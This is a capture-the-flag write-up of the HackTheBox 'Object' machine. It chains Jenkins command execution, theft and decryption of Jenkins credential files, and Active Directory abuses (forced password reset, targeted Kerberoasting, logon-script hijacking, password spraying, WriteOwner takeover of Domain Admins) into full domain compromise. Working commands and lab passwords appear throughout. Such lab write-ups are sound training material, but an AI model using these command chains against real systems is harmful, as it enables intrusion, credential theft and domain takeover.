Information Gathering

Rustscan

Rustscan finds HTTP, WInRM, and port 8080 http open:

┌──(yoon㉿kali)-[~/Documents/htb/object]
└─$ sudo rustscan --addresses 10.10.11.132 --range 1-65535
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
<snip>
 
PORT STATE SERVICE REASON
80/tcp open http 
5985/tcp open wsman 
8080/tcp open http-proxy
  
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.87 seconds
Raw packets sent: 32 (1.384KB) | Rcvd: 16 (688B)

Enumeration

HTTP - TCP 80

The website shows a page running on IIS 10.0:

Underlined automation leads me to http://object.htb:8080, which I add to /etc/hosts.

HTTP - TCP 8080

The website shows Jenkins login page:

There’s a feature for creating an account so I will create one as user jadu:

At the bottom right side of the page, Jenkins version is shown: 2.317

/asynchPeople shows you the list of users and for this case, I only see admin other than user jadu:

Exploitation

Jenkins RCE

Going to /newJob will allow me to create a new item on Jenkins:

Using Freestyle project, I can inject a script that will run on Windows system by clicking on Execute Windows batch command under Build:

First to confirm that command execution actually works, I will execute simple whoami command:

Through out some previous trials, I discovered that user jadu has no right to build the created pipeline.

However, using Schedule, I can build the pipeline automatically every one minute as such:

After saving the pipeline, I can see that the command whoami was successfully executed through Console Output:

Shell as oliver

Firewall

I tried uploading netcat.exe to the system for a reverse shell but there seems to be an error with it. I will check on Firewall setting to see what is the issue:

cmd.exe /c netsh advfirewall show allprofiles

Based on the output, for all three profiles (Domain, Private, and Public), the firewall policy is set to block inbound connections and allow outbound connections. Additionally, logging for both allowed and dropped connections is disabled, and the firewall log file is set with a maximum size of 4096 bytes:

However, if we specify the firewall to Outbound, it shows blocked:

cmd.exe /c powershell.exe -c Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound

This is probably why all my attempts on spawning reverse shell failed.

Retrieve Jenkins Password

Instead of going for Reverse Shell connection, I will try searching for Jenkins Credentials.

Listing \Users\oliver\AppData\local\jenkins\.jenkins\users shows two interesting directories, one admin and another jadu which is current user:

cmd.exe /c "dir C:\Users\oliver\AppData\local\jenkins\.jenkins\users

Inside admin folder, there is config.xml:

cmd.exe /c "dir C:\Users\oliver\AppData\local\jenkins\.jenkins\users\admin_17207690984073220035

I can view config.xml file but it is hashed with bcrypt algorithm:

cmd.exe /c "type C:\Users\oliver\AppData\local\jenkins\.jenkins\users\admin_17207690984073220035\config.xml"

<passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>

Cracking Hash

Jenkins-Credentials-Decryptortells me that credentials.xml(or config.xml), master.key and hudson.util.Secret is required for the decryption:

From some enumeration, I discovered paths to required files:

c:\users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret
c:\users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key
c:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml

Using the command below, I can retrieve master.key and hudson.util.secret:

cmd.exe /c "type c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\master.key"
powershell.exe -c "$c=[convert]::ToBase64String((Get-Content -path
'c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\hudson.util.Secret' -Encoding
byte));Write-Output $c"

Using the python script above, I will decrypt the password hash:

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret credentials.xml

It decrypts and provides me the password for oliver: c1cdfun_d2434

Evil-Winrm

Using the found credentials and Evil-Winrm, now I have a shell connection as oliver:

Privesc: oliver to smith

Oliver is the member of the Domain Users which is very interesting:

net user oliver

I will upload SharpHound.exe through upload SharpHound.exe command and run it to enumerate the environment. After running SharpHound.exe, zip file is created to be downloaded:

After downloading the zip file, I will get Bloodhound ready:

sudo neo4j console
sudo bloodhound

After drag & dropping the zip file to Bloodhound, I will first mark account oliver as owned:

ForceChangePassword

There is one outbound first degree object control right from oliver to account smith:

The user OLIVER@OBJECT.LOCAL has the capability to change the user SMITH@OBJECT.LOCAL’s password without knowing that user’s current password.

I will first upload PowerView.ps1 to the system and run it

Using the commands below, I can change the password for user smith into Password123!:

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
 
Set-DomainUserPassword -Identity smith -AccountPassword $SecPassword

Evil-Winrm

Now with the new password, I can sign-in as smith:

sudo evil-winrm -i 10.10.11.132 -u smith -p 'Password123!'

Privesc:smith to maria

GenericWrite Abuse

The user SMITH@OBJECT.LOCAL has generic write access to the user MARIA@OBJECT.LOCAL.

Generic Write access grants you the ability to write to any non-protected attribute on the target object, including “members” for a group, and “serviceprincipalnames” for a user

To abuse GenericWrite, we have 2 options. One, we can set a service principal name and we can kerberoast that account. Two, we can set objects like logon script which would get executed on the next time account logs in.

Method 1: Targeted Kerberoasting

An SPN is a unique identifier for a service running on a server within a Windows domain. It usually takes the form of service/hostname, where “service” represents the service type (e.g., HTTP, MSSQL) and “hostname” is the hostname of the server where the service runs.

By modifying the SPN of a user account to include a service that the attacker controls (e.g., an HTTP service running on a rogue server), the attacker can trick the KDC into issuing a TGT encrypted with the user’s password hash when someone requests a Kerberos ticket for the malicious SPN.

I will upload PowerView.ps1 once more:

I will import it using Import-Module .\PowerView.ps1

I can query information regarding user maria:

Get-DomainObject -Identity maria

I will first test if I can change the SPN for account maria using the commands below:

Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/jadu'}
Get-DomainUser maria | Select serviceprincipalname

I can confirm that SPN for user maria has just changed to the value what I set.

In order for the Kerberoasting to work, I need valid SPN name instead of something like nonexistent/jadu.

This time, instead of using Set-DomainObject, I will use setspn to set the SPN for user maria:

setspn -a MSSQLSvc/object.local:1433 object.local\maria

I can confirm new SPN with the following command:

Get-DomainUser maria | Select serviceprincipalname

PowerView has Get-DomainSPNTicket to Kerberoast, but it actually requires a credential object (even though I am logged in as smith):

Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433"

The error message is about the credentials being invalid. I’ll create a credential object:

$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
 
$cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass)
 
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $cred

Above provides hash for account maria but it is not crackable:

Alternatively, I can also use rubeus.exe for kerberoasting as such:

.\rubeus.exe kerberoast /creduser:object.local\smith /credpassword:Password123!

Method 2: logon script

In Active Directory, a logon script is a batch file or script that is executed automatically when a user logs into a Windows domain.

The logon script setting is stored as an attribute of user objects in Active Directory.

An attacker with the GenericWrite permission could modify the logon script setting of a target user account to point to a malicious script hosted on a server under their control.

The attacker could then wait for the targeted user to log in to their domain account. Upon login, the system would execute the modified logon script.

As always, I will first prepare credentials for user smith as such:

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

Now using the commands below, I can set the logon script to foo.ps1 which will forward result of whoami to C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt:

cd C:\\Windows\\System32\\spool\\drivers\\color
 
echo 'whoami > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > foo.ps1
 
Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\foo.ps1'}

Through net usr maria, I can see that Logon script is set properly as foo.ps1:

poc.txt confirms that whoami command was succssfully executed as a Logon script:

Now I will create a script that will list files inside maria’s user directory:

echo 'dir c:\Users\maria\Desktop > c:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > foo.ps1

Checking on the result, it shows that there is Engines.xls file inside maria’s desktop:

I will copy Engines.xls file over to accessible diretory path to read it:

echo 'copy \users\maria\desktop\Engines.xls c:\\Windows\\System32\\spool\\drivers\\color\\' > foo.ps1

Now I can see that Engines.xls has been copied:

After downloading Engines.xls using download Engines.xls, I can open it on local Kali machine:

Password Spraying

I will attempt on password spray using three passwords found:

  • d34gb8@
  • 0de_434_d545
  • W3llcr4ft3d_4cls

Crackmapexec discovers one valid password: W3llcr4ft3d_4cls

crackmapexec winrm 10.10.11.132 -u maria -p pass.txt

Now I have evil-winrm shell as user maria:

Privesc: maria to Domain Admis

WriteOwner Abuse

The user MARIA@OBJECT.LOCAL has the ability to modify the owner of the group DOMAIN ADMINS@OBJECT.LOCAL.

Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL.

I will first create a PSCredential object:

$SecPassword = ConvertTo-SecureString 'W3llcr4ft3d_4cls' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\maria', $SecPassword)

Once again, I will upload PowerView.ps1 using upload PowerView.ps1 and import it using Import-Module .\PowerView.ps1.

Using Set-DomainObejctOwner, I will set maria as the owner of Domain Admins. After that, I use Add-DomainObjectAcl to grant maria all the rights. Finally I will add maria to Domain Admins:

Set-DomainObjectOwner -Credential $Cred -Identity "Domain Admins" -OwnerIdentity maria
 
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All -Verbose
 
net group "Domain Admins" maria /add

I can confirm the above process using the command below:

Get-DomainGroupMember -Identity 'Domain Admins'

Accessing evil-winrm again after exit grants me full privilege”

References